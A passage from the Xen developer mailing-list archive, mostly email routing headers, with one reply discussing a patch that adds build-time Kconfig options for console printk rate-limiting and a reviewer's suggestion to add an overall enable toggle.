	K1jVAhDDugGmcWdlkD6oj+EXnmG5f8Qo00CiM0P6pYP0THRZvOZvP1GHJujFfXOj0cmr+naJUiFWVXUfUN1AH+LHoXj7+geQY8+gBENzDtR6W1XZ2PtOYTxfUjz+IzPuEGP9qn4PJzw893qMe3QXVoQ6ZSXhijWDW7aHNFPndqnq7epotVxFVS6afTUzuGdvF40y9Kya9QawKL0xaB9VzQpUZ8AZJImKS1a4o9JQ5loabie2OEc4yMRMMWq5ehGU2sZG+o6LxFKDQ4nP1mkX16uU6ZeS+IpaQHJ9fwaxtEhLG1smti92LJb16BQ7GO9B54JOgO+IcCNr/I32oA5/Uw==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	sKMbZAWyyInxxcG6bKXRQxI3nSchsGIHxXfopJaC5885C8WfBCdIWXr2XGoaEgogObuhIMKTlT+eqtRFFB059VZaKbEZEHaUFrTdLMLbBg0/0/qKFN9R42BeH7AosVUMPVk/RNGx7CegfSqBZP5r/bHRQkFXbZnJKvDvDjfNSpVAtZi1VHgOFDbUJfA/2170Oo/e2V26Dd2SF4jUFvp6BMtNhUhXqetSaIMZyst9Fmd7ipLM3RbLlZ6dZzgGPL+zeH3j/vQyNoOVQZRI1tpywjCu3pGu/VVn+BteIGb9bXwHhLChBnkDhcpRrTH8RQkThz+umkwBbDxpWr1pD6KgM/ANv430hgeDIwIKUTCHNdDPCaF9ytcXKUYXGpVpDQJKNautOACLXba+WZnYdSUHphFlfnFHGfIMaB0ZjMJJ5saFKFPDXcsyTF1YmXP8ORmqnx2TRBKWjLwhNyt6TGFkeJnmBXb4GQzmYycLVOx+tYJ216qRAsjInzWxZ5inoBO/HXyxiFjCSdAtEHDIgXGFsWORQZkfJnhc9M7lZgf1ZBWXPqUS/2KLD65NMxhKMH1JX0IgdgfD+q/4soIzJPcf/N0LUI+8dWvuPZ1X7/UeAZJU1rjpwUqvK118fQh1G/f3b7TBBruEPxXajmndu2TMww==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 18 Jul 2026 02:34:44.1198
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 7b863a25-5938-4b66-5772-08dee47520b6
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN3PEPF0000B075.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS4PR16MB6972
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE4MDAyMiBTYWx0ZWRfX18Jt/MLHNKW5
 qOoeoJe1OCqJ1uw7h3QRS8/Akk17H386wy+gs8AfqBFYxE5lPA0nKsD/MwO+9az2GVLXS1Fbg79
 wMP+Y/A5q2R5wsSZGczyISo6x2+BAAfZm83JH6wMNVKnF2noW+MD
X-Authority-Analysis: v=2.4 cv=UMft2ify c=1 sm=1 tr=0 ts=6a5ae647 cx=c_pps
 a=fdYRkKHAJehZsuGPaltaPA==:117 a=lOEMawUel/sSvQipkIvNbg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=8nJEP1OIZ-IA:10 a=RAioF0-LDSMA:10
 a=3PXLN80vpJUA:10 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=P_n1zlmtWsCQbjROFjcg:22 a=YJXg7OVxOWrJwj3yZo-i:22
 a=cbNQJ9GKAAAA:8 a=KvllD96pRQnmboTzS8IA:9 a=3ZKOabzyN94A:10 a=wPNLvfGTeEIA:10
 a=G69WFyCBNqGPyalROSdv:22
X-Proofpoint-ORIG-GUID: vKdXCj83MSNT6vBS1NbvZlKk-8oEJWrH
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE4MDAyMiBTYWx0ZWRfX0zK1j3J7AWdz
 RXXL20TzJGL/opw6iLMx3mRtOxxN3qMGOiMubZ0CVbzfYrjOQeP6QyCCtfitQ+aFAohPcpXw8Ul
 hvZuGHxmO8deTYA8q/Yk+k9QH0mXayGmcVp9xHo/hztKmTnfxO3da/GUB0i224DgzOr9RQ8d2hA
 J4wwriETMIml8LLJyHD3Wmdph1TKPsBq4Jy//HxX5k5Wus5UM4zv1dX/klHSeab7bvJ7gtE/ULb
 LhKhapw+32arOAq++XKXTwEmIh0QMaYksk7ppxkSmkCpnZWf8lNckl7QgXEpQ6v2b8H25gF7Dfx
 Fb5IuUiPi5sfOA9S2o0D3l6XgP4z3g+iUleKu2xEs5QIoYkaivKqNm+8kAnz/0KOJwKG1Qwf9kb
 8+WeHup2jfgn8a2E3cCEkqO3sxZp07aES/+PQZc6w+M1FU3KnNzKazmkyUD1wNi1b0SZEYlcSIe
 6lNSxfCMvj10C1Fl7GQ==
X-Proofpoint-GUID: vKdXCj83MSNT6vBS1NbvZlKk-8oEJWrH
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-17_07,2026-07-17_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 adultscore=0
 bulkscore=0 spamscore=0 malwarescore=0 phishscore=0 lowpriorityscore=0
 suspectscore=0 priorityscore=1501 impostorscore=0 clxscore=1015
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607180022
X-purgate-ID: tlsNG-16d1c6/1784342090-FEC7777B-9DF6F5A8/0/0
X-purgate-type: clean
X-purgate-size: 2767

On Thu, Jul 16, 2026 at 11:59:34AM +0200, Teddy Astie wrote:
> Le 15/07/2026 à 22:24, dmukhin@ford.com a écrit :
> > From: Denis Mukhin <dmukhin@ford.com>
> > 
> > Introduce CONFIG_PRINTK_RATELIMIT_MS and CONFIG_PRINTK_RATELIMIT_BURST
> > for configuring rate-limiting policy at the compile time.
> > 
> > Use symbols for global rate-limiting initialization in the console driver.
> > 
> > Signed-off-by: Denis Mukhin <dmukhin@ford.com>
> > ---
> > Changes since v2:
> > - moved rate-limiting controls to common/Kconfig
> > ---
> >   xen/common/Kconfig         | 29 +++++++++++++++++++++++++++++
> >   xen/drivers/char/console.c |  6 ++++--
> >   2 files changed, 33 insertions(+), 2 deletions(-)
> > 
> > diff --git a/xen/common/Kconfig b/xen/common/Kconfig
> > index da80fdba8469..fd22806884e0 100644
> > --- a/xen/common/Kconfig
> > +++ b/xen/common/Kconfig
> > @@ -672,4 +672,33 @@ config PM_STATS
> >   	  Enable collection of performance management statistics to aid in
> >   	  analyzing and tuning power/performance characteristics of the system
> > +menu "Console rate-limiting"
> > +
> > +config PRINTK_RATELIMIT_MS
> > +	int "printk rate-limiting time window (milliseconds)"
> > +	default 5000
> > +	help
> > +	  Specifies the time window, in milliseconds, for rate-limited printk
> > +	  messages. No more than `CONFIG_PRINTK_RATELIMIT_BURST` messages will be
> > +	  printed within this window.
> > +
> > +	  Setting this value to 0 disables rate-limiting entirely.
> > +
> > +	  Rate-limited messages are those controlled by the `loglvl` and
> > +	  `guest_loglvl` command-line parameters.
> > +
> > +config PRINTK_RATELIMIT_BURST
> > +	int "printk rate-limited message burst size"
> > +	default 10
> > +	help
> > +	  Defines the maximum number of rate-limited printk messages that may be
> > +	  printed within each `CONFIG_PRINTK_RATELIMIT_MS` time window.
> > +
> > +	  Setting this value to 0 disables rate-limiting entirely.
> > +
> > +	  Rate-limited messages are those controlled by the `loglvl` and
> > +	  `guest_loglvl` command-line parameters.
> > +
> > +endmenu
> > +
> >   endmenu
> 
> Given that setting 0 to either will disable rate limiting, would it be
> preferable instead to have a more general PRINTK_RATELIMIT toggle, where :
> 
> Setting it to true would enable configuration of ms and burst (rejecting 0
> if possible).
> Setting it to false would set both to 0 hence disabling rate limiting by
> default.
> 
> And we do something like
> 
> static const unsigned int printk_ratelimit_ms =
>   IS_ENABLED(CONFIG_PRINTK_RATELIMIT) ? CONFIG_PRINTK_RATELIMIT_MS : 0;
> 
> (similarly for burst)
> 
> ?

I can hide both selectors behind CONFIG_PRINTK_RATELIMIT.


From xen-devel-bounces@lists.xenproject.org Sat Jul 18 02:54:35 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 18 Jul 2026 02:54:35 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365337.1615885 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkvCA-0000Yj-Lj; Sat, 18 Jul 2026 02:54:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365337.1615885; Sat, 18 Jul 2026 02:54:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkvCA-0000Yc-Hq; Sat, 18 Jul 2026 02:54:30 +0000
Received: by outflank-mailman (input) for mailman id 1365337;
 Sat, 18 Jul 2026 02:54:29 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wkvC9-0000YW-4L
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 02:54:29 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkvC8-00B3GI-3Q
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 04:54:28 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a5aeaa1-e002-0a2a0a5209dd-0a2a4503ccc4-28
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 04:54:28 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a5aeae2-fae8-0a2a45030019-94a39217c3fc-3
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 04:54:27 +0200
Received: from pps.filterd (m0482516.ppops.net [127.0.0.1])
 by m0482516.ppops.net (8.18.1.11/8.18.1.11) with ESMTP id 66I2rtN83620504
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 19:54:25 -0700
Received: from co1pr03cu002.outbound.protection.outlook.com
 (mail-westus2azon11010016.outbound.protection.outlook.com [52.101.46.16])
 by m0482516.ppops.net (PPS) with ESMTPS id 4ffx3mgsue-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 19:54:25 -0700 (PDT)
Received: from SA1P222CA0157.NAMP222.PROD.OUTLOOK.COM (2603:10b6:806:3c3::24)
 by SJ0PR16MB4173.namprd16.prod.outlook.com (2603:10b6:a03:319::18)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.13; Sat, 18 Jul
 2026 02:54:18 +0000
Received: from SN1PEPF0002636B.namprd02.prod.outlook.com
 (2603:10b6:806:3c3:cafe::3b) by SA1P222CA0157.outlook.office365.com
 (2603:10b6:806:3c3::24) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.223.13 via Frontend Transport; Sat,
 18 Jul 2026 02:54:18 +0000
Received: from mx0b-00498f04.pphosted.com (148.163.138.245) by
 SN1PEPF0002636B.mail.protection.outlook.com (10.167.241.136) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.245.5
 via Frontend Transport; Sat, 18 Jul 2026 02:54:18 +0000
Received: from pps.filterd (m0373461.ppops.net [127.0.0.1])
 by mx0b-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66HNFkeU3396291
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 22:54:17 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [34.209.42.160])
 by mx0b-00498f04.pphosted.com (PPS) with ESMTPS id 4ffpungp3b-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Fri, 17 Jul 2026 22:54:17 -0400 (EDT)
Received: from localhost ([19.12.92.221]) by cmsmtp with ESMTPSA
 id kvBtwxiGGAJcNkvBuwYakt; Sat, 18 Jul 2026 02:54:16 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=fail header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppford; bh=OVW
	BObfHs9LP8RPaEwAO+3AQg0JC9wygjavEw81XAvs=; b=LiaDaVojWVc4g/pgkKa
	D8sLs1NiVfpGV0LD1FP94FFI4LWUiDk2VBUJqs34OspaZWUkqohu3+vpX74ctxAY
	Naf2UasrgLl+Ltd1Ww1rnB2etCr8HIY3jxr+6pk4ehQHKRECg7FaxTP7nw2lyfCZ
	aBgspIK4QAnZGmmY1Woc64IPQm0mdJRNBK+LHzVD2lWB3CjDTOYvshxJDnyFb734
	nTYf9iLERccfzwiZ8HL+rzU8nvIVvVxpSLmSpY5hvCNEP/OD2ANJ9EebOMZ5afEy
	9mbXfG4rVI2sGtTtUuC4vCij3je06pUXMnwqs0PVX0fFX1G9ine1pmkqGBFOhj94
	tgw==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=KnN5CObOrag6QUvwqnpnjm/EOuHfzseDeKACFMQpROmexecx5TxgnVlhh83Ahy5SjYvhqlUWs7EMUugT5PEAaom4h6hXQSE9U2meFJB/hyO4JmLVGQ1VXkyH9tNPPbYWd+AfjBYf0a9nXNHq4qHIYi6cGG4nD06PmCUb+vTbAEWcMEt8kPTFyHOq3qo35ne+1qJCwW9mNeOQ6ceuhDpCWrYCE9UqEOWQXZsh+sMmPUmUjyC6rAi6jVbGpCHgp97p2XDk8cfAxz63F62ZDWmFdb3evwMu+4CN0FB1xYL3WXqDUwDIO7NBFqfnQ8VwRn3u3mCdhiOZ2K+PWlnUhfuWAg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=m2JANl6oE/gZtjo6HsYZWGgpGYZ446/ZhLlDZcE6ocw=;
 b=QzgeaY57zr0Hkrx8C/SLPtA3io1qCR2HNc6xYjZ7Leg9mZlnRhqSlR0dbM1eq+PyKE8W6+V4mS3PxXJqTnJT7M+aX/1REk9+yYmKcZQhAo6bJoUmoWsRsYjBqUc2ELneSS/nbgbFK7y6cai5oWzypsd5VITOVYCxoGROOLzaVoEUKaMQqPRjCEiaYEam2Y79n2LL6sFwOV9KqsgDnFvFRgYIK8c8uGOHpSRrsbOArMBjo8qOU5Dg4RdnkkHU59QD40MaTkpK7gBe5Bbol9JxrolOTfr/uVVWSeaQMuLkd+G+DtO8thQSVimAlJQckt1kADwMmb/d1gVJ+6kxN8goTw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 148.163.138.245) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=m2JANl6oE/gZtjo6HsYZWGgpGYZ446/ZhLlDZcE6ocw=;
 b=bJ2AprfNGV51S1DVcduAMPkPEV7VB/s8TPikCBlx/o7pPj5yHS7U51ighCby4fXRm3d/XfttP/F06BTFTI6oxrPWCM3yVWrGaxC07ZZQYnz2XVG1XybywufcBpHjViM+2u33SnoRQgGeEEN8Eo71I7grwu9+VCyH6J2MYHo5zRY=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 148.163.138.245)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 148.163.138.245 as permitted sender) receiver=protection.outlook.com;
 client-ip=148.163.138.245; helo=mx0b-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:content-type
	:date:from:in-reply-to:message-id:mime-version:references
	:subject:to; s=ppserprodsaar; bh=OVWBObfHs9LP8RPaEwAO+3AQg0JC9wy
	gjavEw81XAvs=; b=MOmjCQ2mvL82y5bvdQJFj7UmfSlKl4RVKG8jLKnyzGKqgrV
	I1aGovb92OFEpozHPYSjWytFtfq30MLyegKKV4GZHX8LxdGD4kQ14rKWyL4/gL74
	nTx5k7fx+kGFYH6+e41PKhgEyPcYqeAgUVu2lSLa8zpm/lq7Eof4VNm5K7um1u7l
	+hRvuz2DbLfd6N1/otruJwnQ5edz7oR1QPRFvCusye9DxQ7nE87Kc5+iiUfCwMRo
	ge6L7SNZiUHVlbWHTM4VczbGwrDcGH9oWDiyIWg5te66Ny8sXurGc/x+4tqcVXwt
	BK7RcrYJz6f5A7Q0TryH4dpK3g4Xre6nk7f3zAQ==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=ppfserpocford;
	 bh=OVWBObfHs9LP8RPaEwAO+3AQg0JC9wygjavEw81XAvs=; b=WoM4qSXHJX5I
	wr17wBbNTlDueMb3OWCcOT6oschyv6wK1mwUme2ojY5m6FzI7mFysLqv40RPxNVn
	6eNRsgeju+27bkaDZudEdmAxKUsoHxdk1SlFnKkyMeAc8hWwlcizWPiJEqHHjvzK
	zfcUKn28HjtMKCdfW40+TFofFVZW/mvHc/hpTXFBuUIA+kz5odqpmjfnXSI5r/Pw
	sgZmVI99LZHkgZwlcmTyxlVD52gtZi8akXFS14eO/uNIL+BCufqEPRPe9hj2D/Ve
	sCjxiwVjiA6Uzot0z+zGUP9FOLDb42gNG4oBKY4I7YpH6hreRxJ76pXlhzIpyp38
	dmRjBeOM4A==
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: kvBtwxiGGAJcNkvBuwYakt
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
Date: Fri, 17 Jul 2026 19:54:13 -0700
To: dmukhin@ford.com
Cc: Teddy Astie <teddy.astie@vates.tech>, xen-devel@lists.xenproject.org,
        andrew.cooper3@citrix.com, anthony.perard@vates.tech,
        jbeulich@suse.com, julien@xen.org, michal.orzel@amd.com,
        roger.pau@citrix.com, sstabellini@kernel.org
Subject: Re: [PATCH v3 3/4] xen/console: add build-time rate-limiting controls
Message-ID: <alrq1e7inTDutBbq@kraken>
References: <20260715201902.2984407-1-dmukhin@ford.com>
 <20260715201902.2984407-4-dmukhin@ford.com>
 <1784195975.8631fc262581453bbf619ec5b2062170.19f6a5e0923000edb5@vates.tech>
 <alrmP1FHd7AzlBxC@kraken>
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
In-Reply-To: <alrmP1FHd7AzlBxC@kraken>
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-17_07,2026-07-17_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0
 adultscore=0 lowpriorityscore=0 malwarescore=0 phishscore=0 bulkscore=0
 suspectscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607180026
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SN1PEPF0002636B:EE_|SJ0PR16MB4173:EE_
X-MS-Office365-Filtering-Correlation-Id: 75b697f6-52a8-43d5-6441-08dee477dc57
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|1800799024|82310400026|36860700016|22082099003|18002099003|3023799007|10067099003|4143699003|56012099006|11063799006|6133799003;
X-Microsoft-Antispam-Message-Info:
	EJuCRN1Y98Y1L4NWFOfVOp2I8fbggtN//MLM1SXHgFXR5Qnotpon9HWZL892rKG7XROxzLHxshRMUhWJ5BO7fpJkMdhhOZAPw5rmVO+FYMlg30F2DIikL5X5lVY4Bi+YkHPcKskGEjblSDqwQPKH4eNodNhy0PjT26jKIFdNpV/nufErUTB9WidJqpEOR8LqrTjdNC1LJkyurAvfoYaLl/hTUwsSazauIyxMHE6PRM1TIO8m9EW1W4Znd3wx2mX0yx+CTIfzvAEsLa2OAEixwFHSvRmt+nCqjWv1j8H1hmYznOmaKgIVu46eEOGx35hFpgRXeZ1OZtEQ45yY8mXKLHLodK6Q+34N7Mw3NgUAnpudzG8T1bb99SGaXGlb+s1cqw1EEW2VWV/l9pgnqNMh1JwJEcIiXbURX9x9v9x1uP32WtlrsrHVOSIeTmrv3bcxfJKy6Z1rATgLXboAQjGE+peW0WDeFUrcZxoBJclkDhIsoimwM57+sXetFML6KgVsak94aR4+RtAL8YtM3PWvrnpHhJbbdtV0dFVYbZNz8ZXtYvxBBbprZ3HtPT+y9re1QqalZaIaeUvS+eRQ8N3TmSwRoHKf9cwofB/iZGQZFsOIiMFzCeOmORmA2GpOgkzwD5PciTr/IJw8EZ6mTml7wALqbXqvHsAp0IgEnJ6DtQTC9wFLwLwn0o/1dRevd5Zl9u0wzKpiJzUDAvgsY8wWnw==
X-Forefront-Antispam-Report:
	CIP:148.163.138.245;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0b-00498f04.pphosted.com;PTR:mx0b-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(82310400026)(36860700016)(22082099003)(18002099003)(3023799007)(10067099003)(4143699003)(56012099006)(11063799006)(6133799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	G0pu0SK2a5M7ObSNVsxZ40wpw9/tzCR9EuDm0ILBzktfx22Qu4tfj8p8kFh8MDIErhKBRZg4FCL6BjIDWp96p95/36cbPuk6AV9Y0ya6KrmqXQh5CGqyWyuuxSqhozm/Lhbip7KLPzBex0T+HmBpI6cF+fliSNLqN1fYI77RN0waVq463bCPEdzU1rWsEzlL8nLo0HeOnQQZfQ/C/jm7XgrAOwjqpExclihOgcgYzMrD8OT+9SPY16VquPBVBNAheVrIuXk0io+xwnpsWz2Fv9X8EeUB1SyCIggosvYn7CEUAlaZwDENlxlkpc4DEF+ChulZvBkKcN1+5WUmRY2d8k5+WwBfoPTUnCsf4r1p4kUVq/4Bi/B5QrC26bcuovuzeg2IoWYiYGz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S4Jh4KV3UJQwxKV6WS+GJvKNSSIwBqzdqOigvZJ7KJpDEMZSjNK3d6HQVfjr99yu1BabwMIKthxZn/30A==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 18 Jul 2026 02:54:18.0731
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 75b697f6-52a8-43d5-6441-08dee477dc57
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[148.163.138.245];Helo=[mx0b-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SN1PEPF0002636B.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR16MB4173
X-Authority-Analysis: v=2.4 cv=C+fZDwP+ c=1 sm=1 tr=0 ts=6a5aeae1 cx=c_pps
 a=+tUgqrp9vGCFEjR5l+cGAg==:117 a=b7IhknPlfT0FN1EembXvig==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=8nJEP1OIZ-IA:10 a=RAioF0-LDSMA:10
 a=3PXLN80vpJUA:10 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=P_n1zlmtWsCQbjROFjcg:22 a=NvsXeTrgx-CJMFV-xl94:22
 a=cbNQJ9GKAAAA:8 a=o9aIDJZ9gNO1dne_i9wA:9 a=3ZKOabzyN94A:10 a=wPNLvfGTeEIA:10
 a=P0bj-C3X3jJDpopQwM1U:22
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE4MDAyNyBTYWx0ZWRfX26HoLOL01PAg
 ZO3FV/crL6JIJV20VmEDqspLrbtpcpZddG6ZqsgNE79+faTKTmReKnlxN8n6JY5bG0yyUVH81Zf
 aNC48+hcSFxisiOe1eHMrFRoQeZKwJfI/6FucGxYUNvnqpBoqiHUGcFD83BoraFA/lCnruJEJmt
 cJDpNdMihFi5uzJXO9GEhlyjXXqOnnuzBle3OizQzuxiTrZ9kqobSY9IQ0pWozBtmA++6t5FWsB
 OOohrao8gBiLRLOYyS1QGXcRtC/w4pOVoaGg+9blsdzk928Ll0PLR3E5OgNnIIH6CJvI2CtxpNa
 rW2vRXXqj2lKz2Seic8RHLH62T8U1KJVEx+73AThlCSxmbT3sPU9NZVPq1wA+6EBUu9FnttbTQV
 vzHshrsDKT9CePG7PT0I23YqHcwYoXFtFkB5xdQm4DXoIB0eNWGgaiyN5PciJmT6Cs7bWeFAD0g
 9aAHMPgluphhNDnxrhw==
X-Proofpoint-ORIG-GUID: sjzOaUU2_LF3UbpsDj_2cTALzJMAW9_S
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE4MDAyNyBTYWx0ZWRfX83eQPLSNrO4H
 iZeJUZR2aWOHXbt2eDTLc6RuAwJJw34q8w1ZQaWUNb3WSfpMcrP4nRcuN+V9VW7myL5ezmxxkqJ
 pzvANp66vbWfrkXoK7xulG7PwdVblG0VflSr2FcFmbzXWl4T8cfb
X-Proofpoint-GUID: sjzOaUU2_LF3UbpsDj_2cTALzJMAW9_S
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-18_01,2026-07-17_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 lowpriorityscore=0 suspectscore=0 clxscore=1015 malwarescore=0
 priorityscore=1501 phishscore=0 spamscore=0 bulkscore=0 adultscore=0
 impostorscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607180027
